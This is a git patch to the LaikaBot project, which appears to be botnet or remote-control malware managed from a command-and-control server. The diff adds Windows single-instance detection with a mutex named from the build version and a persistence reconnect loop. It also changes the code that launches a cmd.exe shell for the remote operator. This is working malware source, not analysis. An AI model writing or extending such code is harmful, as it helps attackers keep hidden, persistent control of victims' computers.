From 34dd36fb6733c5bb24d6cf8daa9ce5fd33c12389 Mon Sep 17 00:00:00 2001 From: CPunch Date: Sat, 16 Apr 2022 23:54:07 -0500 Subject: [PATCH] Windows: implemented laikaB_markRunning() & laikaB_unmarkRunning() - use Sleep() for LAIKA_PERSISTENCE in main() - use Mutex for checking existing LaikaBots - switched to TEXT() for win32 strings --- .vscode/settings.json | 3 ++- bot/src/main.c | 4 ++++ bot/win/winpersist.c | 15 +++++++++++++-- bot/win/winshell.c | 4 ++-- 4 files changed, 21 insertions(+), 5 deletions(-) diff --git a/.vscode/settings.json b/.vscode/settings.json index df264a9..686cb6e 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -29,7 +29,8 @@ "stdbool.h": "c", "alloca.h": "c", "bot.h": "c", - "string_view": "c" + "string_view": "c", + "lconfig.h": "c" }, "cSpell.words": [ "cnc's", diff --git a/bot/src/main.c b/bot/src/main.c index 3154827..c2d5cdf 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -32,7 +32,11 @@ int main(int argv, char *argc[]) { /* bot was killed or it threw an error */ laikaB_freeBot(bot); #ifdef LAIKA_PERSISTENCE +#ifdef _WIN32 + Sleep(5000); +#else sleep(5); +#endif } while (1); laikaB_unmarkRunning(); diff --git a/bot/win/winpersist.c b/bot/win/winpersist.c index 3c228ce..10a751b 100644 --- a/bot/win/winpersist.c +++ b/bot/win/winpersist.c @@ -1,13 +1,17 @@ /* platform specific code for achieving persistence on windows */ #include + #include "persist.h" #include "lconfig.h" +#include "lerror.h" /* we want a semi-random mutex that is stable between similar builds, * so we use the GIT_VERSION as our mutex :D */ #define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0" +HANDLE laikaB_mutex; + /* check if laika is running as super-user */ bool laikaB_checkRoot() { return true; /* stubbed for now */ @@ -15,12 +19,19 @@ bool laikaB_checkRoot() { /* mark that laika is currently running */ void laikaB_markRunning() { - /* stubbed */ + laikaB_mutex = OpenMutex(MUTEX_ALL_ACCESS, false, TEXT(LAIKA_MUTEX)); + + if (!laikaB_mutex) { + /* mutex doesn't exist, we're the only laika process :D */ + laikaB_mutex = CreateMutex(NULL, 0, TEXT(LAIKA_MUTEX)); + } else { + LAIKA_ERROR("Mutex already exists!\n"); + } } /* unmark that laika is currently running */ void laikaB_unmarkRunning() { - /* stubbed */ + ReleaseMutex(laikaB_mutex); } /* try to gain persistance on machine */ diff --git a/bot/win/winshell.c b/bot/win/winshell.c index b56383b..ce83f41 100644 --- a/bot/win/winshell.c +++ b/bot/win/winshell.c @@ -80,7 +80,7 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {; HRESULT hr; - char cmd[] = "cmd.exe"; + LPCTSTR cmd = TEXT("cmd.exe"); struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); ZeroMemory(shell, sizeof(struct sLaika_shell)); @@ -102,7 +102,7 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) } /* launch cmd shell */ - hr = CreateProcessA( + hr = CreateProcess( NULL, /* No module name - use Command Line */ cmd, /* Command Line */ NULL, /* Process handle not inheritable */